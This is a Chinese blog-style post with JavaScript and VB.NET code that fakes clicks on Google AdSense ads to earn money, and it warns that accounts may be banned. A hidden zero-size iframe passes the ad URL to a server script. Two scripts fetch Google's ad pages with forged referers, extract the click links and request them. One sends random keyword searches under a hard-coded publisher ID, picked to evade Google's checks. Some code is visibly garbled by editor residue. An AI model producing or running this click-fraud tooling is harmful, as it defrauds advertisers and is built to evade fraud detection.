针对Google AdSense的欺骗 【实现每天100$的广告收入，小心帐号被封】

<script type="text/javascript"><!--
google_ad_client = "pub-****************";
google_ad_width = 300;
google_ad_height = 250;
google_ad_format = "300x250_as";
google_ad_type = "text";
google_ad_channel = "";
google_color_border = "336699";
google_color_bg = "FFFFFF";
google_color_link = "0000FF";
google_color_text = "000000";
google_color_url = "008000";
//--></script>
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>

<iframe id="i1" name="i1" src=""  width="0" height="0" scrolling="no" frameborder="0"></iframe>

<script>
    var a=window;
    document.Form1.t1.value=a.google_ad_url;
                    
    document.getElementById('i1').src='webform2.aspx?google_url=' + document.Form1.t1.value;
</script>

Dim rs As Integer
            Dim htmlStr As String
            Dim hxml As New MSXML2.XMLHTTP
            Private objcontext As HttpContext
            Dim i, queryCount As Integer
            Dim url As String

            queryCount = Request.QueryString.Count
            url = Request.QueryString.Item("google_url").ToString

        '获取GOOGLE生成的广告页面的URL
            For i = 1 To queryCount - 1
                If Request.QueryString.GetKey(i) = "url" Then
                    url = url + "&" + "url=http%3A%2F%2Fwww.65535.cn%2Findex.htm"
                Else
                    url = url + "&" + Request.QueryString.GetKey(i) + "=" + Request.QueryString.Item

(Request.QueryString.GetKey(i))
                End If
            Next

        '获取GOOGLE生成的广告页面HTML代码
            hxml.open("get", url, False)
            hxml.setRequestHeader("referer", "http%3A%2F%2Fwww.65535.cn%2Findex.htm")
            hxml.send()
            htmlStr = hxml.responseText

            Dim a1, a2, a3, Url_Link, Url_Link1 As String
            Dim slink() As String
            Dim url_head As String
            Dim i1, i2, i3 As Integer

        '截取广告地址
            url = "http://pagead2.googlesyndication.com"
            a1 = "<a id=""aw0"" target=""_top"" href="""
            a1 = "/pagead/iclk"
            a2 = "'aw0')"" onClick=""ha('aw0')"""
            a3 = "onFocus"
            a3 = "nm=0"

            i1 = htmlStr.IndexOf(a1)
            i2 = htmlStr.IndexOf(a2)
            i3 = htmlStr.IndexOf(a3)

            Url_Link = htmlStr.Substring(i1)
            slink = Url_Link.Split("""")
            url = url + slink(0)
            Response.Redirect(url)

Dim url, hrmlStr, key_s, post_url As String
    Dim keyStr() As String
    Dim hxml As New MSXML2.XMLHTTP
    Dim randKey As New System.Random

    '定义随机关键字
        keyStr = New String() {"笔记本", "玻璃", "钢结构", "AJAX", "XML", "IDC", "虚拟主机", "顶级域名", "NIKE", "ELONG", "SMS", "房地产", "FirFox", "宠物", "体育", "英语", "托福", "足球", "彩信", "家居乐", "美容", "瘦身", "医院", "网络安全", "威客", "中国", "blog", "unix", "linux", "魔兽", "天堂", "VOD", "哈士奇", "skype", "酒吧", "视频聊天", "读书", "李宇春", "让青春继续", "北航绝恋", "金毛", "乞讨", "乞丐", "互连星空", "http类", "招聘", "应聘", "程序员", "网络安全", "软件开发", "工程师", "入侵", "木马", "黑客", "红客", "APPLE", "判决", "杀毒", "婚庆", "团购", "网球", "华为", "中兴", "HttpApplication类", "毛衣", "显卡", "google广告", "公益广告", "面试技巧", "木材 厂家", "防火墙", "数据库 权限", "钢化玻璃", "迷彩", "高尔夫", "一级代理", "空调"}

    '随机读取关键字,我设置的关键字当中有一部分搜索结果是没有广告的,这样可以避免google的检查
    key_s = keyStr(randKey.Next(keyStr.Length.ToString))

        key_s = HttpUtility.UrlEncode(key_s, System.Text.Encoding.Default)

        url = "http://www.google.com/custom?q=" + key_s + "&client=pub-

1076633138320137&forid=1&ie=GB2312&oe=GB2312&cof=GALT%3A%23008000%3BGL%3A1%3BDIV%3A%23336699%3BVLC%3A663399%3BAH%3Acenter%

3BBGC%3AFFFFFF%3BLBGC%3A336699%3BALC%3A0000FF%3BLC%3A0000FF%3BT%3A000000%3BGFNT%3A0000FF%3BGIMP%3A0000FF%3BFORID%3A1&hl=zh-

CN"

        post_url = url

    '获取GOOGLE生成的广告页面HTML代码
        hxml.open("get", url, False)
        hxml.setRequestHeader("referer", "http%3A%2F%2Fwww.65535.cn%2Findex.htm")
        hxml.send()
        hrmlStr = hxml.responseText

        Dim a1, a2, a3, Url_Link, Url_Link1 As String
        Dim slink() As String
        Dim url_open As String
        Dim i1, i2, i3 As Integer
    
    '获取GOOGLE生成的广告页面HTML代码中的广告的URL
        url = "http://pagead2.googlesyndication.com"
        a1 = "<a id=""aw0"" target=""_top"" href=""" _fcksavedurl="""""
        a1 = "/pagead/iclk"
        a2 = "'aw0')"" onClick=""ha('aw0')"""
        a3 = "onFocus"
        a3 = "nm=0"

        i1 = hrmlStr.IndexOf(a1)
        i2 = hrmlStr.IndexOf(a2)
        i3 = hrmlStr.IndexOf(a3)

        Try
        '以POST方式访问广告页面,referer为post_url
            Url_Link = hrmlStr.Substring(i1)
            slink = Url_Link.Split(" onmouseover")
            url = url + slink(0)

            hxml.open("post", url, False)
            hxml.setRequestHeader("referer", post_url)
            hxml.send()

        Catch ex As Exception

        End Try